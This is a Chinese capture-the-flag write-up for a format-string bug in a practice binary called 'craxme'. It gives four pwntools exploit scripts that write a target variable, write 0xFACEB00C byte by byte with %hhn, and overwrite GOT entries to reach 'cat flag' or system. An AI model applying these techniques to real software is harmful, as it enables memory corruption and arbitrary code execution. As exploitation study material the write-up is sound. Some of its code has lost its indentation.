题目描述

格式化字符串漏洞的利用
不过本题有四种利用方式,学习一下

exp1

把magic覆盖为218

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
p=process('./craxme')
context.log_level = 'debug'
magic_addr=0x0804A038
p.recvuntil(":")

#payload = fmtstr_payload(7,{magic_addr:218})
payload=p32(magic_addr) + "%214c"+"%7$n"
#payload = '%0218c' + '%10$n' + 'a' + p32(magic_addr)

p.sendline(payload)
p.interactive()

exp2

把magic覆盖为-87117812
首先看看这个负数十六进制如何表示
由于本题为32位程序,实际表示为0xFACEB00C

由于是小端序,且以字节按低地址到高地址需要填入的数字为0x0c,0xb0,0xce,0xfa,依次增大,可以考虑按字节写入

下图所示为当对应需要填入的数字为0x10c当对应hhn只填入一个字节时的结果,只会填入最后两个数字

由于这样一个性质,我们可以这样构造:

  1. 先按顺序布置四个字节的地址,至此16字节,大于0x0c
  2. 通过填充到0x10c来实现0x10c个字符,利用hhn写入0x0c
  3. 我们想写入0xb0,则可以填充到0x1b0,0x1b0-0x10c=164,利用hhn写入0xb0
  4. 要写入0xce,同样的方法算出要填充0xce-0xb0=30个字节
  5. 要写入0xfa,填充44个字节
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#coding=utf-8
from pwn import *
p=process('./craxme')
magic_addr=0x0804A038

payload = p32(magic_addr)+p32(magic_addr+1)+p32(magic_addr+2)+p32(magic_addr+3)#4*4=16
payload += '%252c'+'%7$hhn'
payload += '%164c'+'%8$hhn'
payload += '%30c'+'%9$hhn'
payload += '%44c'+'%10$hhn'
#payload = fmtstr_payload(7,{magic_addr:-87117812})

p.recvuntil('magic :')
p.sendline(payload)
p.interactive()

下面是标答里写好的单字节构造的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
···
def fmt(prev,word,index):
if prev < word :
result = word - prev
fmtstr = "%" + str(result) + "c"
elif prev == word :
result = 0
else :
result = 256 - prev + word
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr
···
targat = 0xfaceb00c
prev = 4*4
for i in range(4):
payload += fmt(prev,(targat >> 8*i) & 0xff,7+i)
prev = (targat >> 8*i) & 0xff

得到payload的一部分:%252c%7$hhn%164c%8$hhn%30c%9$hhn%44c%10$hhn

exp3

把puts的got表地址改成cat flag的地址,从而直接执行cat flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#coding=utf-8
from pwn import *
p=process('./craxme')
elf=ELF('./craxme')

puts_got=elf.got['puts']
magic_addr=0x0804a038
cat_flag=0x080485D8 #or 0x080485F6

payload=fmtstr_payload(7,{puts_got:cat_flag })

p.recvuntil('magic :')
p.sendline(payload)
p.interactive()

exp4

返回到程序开头,执行printf的时候执行system函数拿到shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#coding=utf-8
from pwn import *
p=process('./craxme')
elf=ELF('./craxme')

puts_got=elf.got['puts']
systemplt = 0x08048410
printfgot = 0x0804a010
payload4 = fmtstr_payload(7, {puts_got:0x0804858B,printfgot:systemplt})

p.recvuntil('Give me magic :')
#gdb.attach(p)
p.sendline(payload4)
p.interactive()


学到

  1. 格式化字符串识别参数时四字节为一个参数,手动布置时要注意
  2. 大于一个字节时利用hhn只写入低字节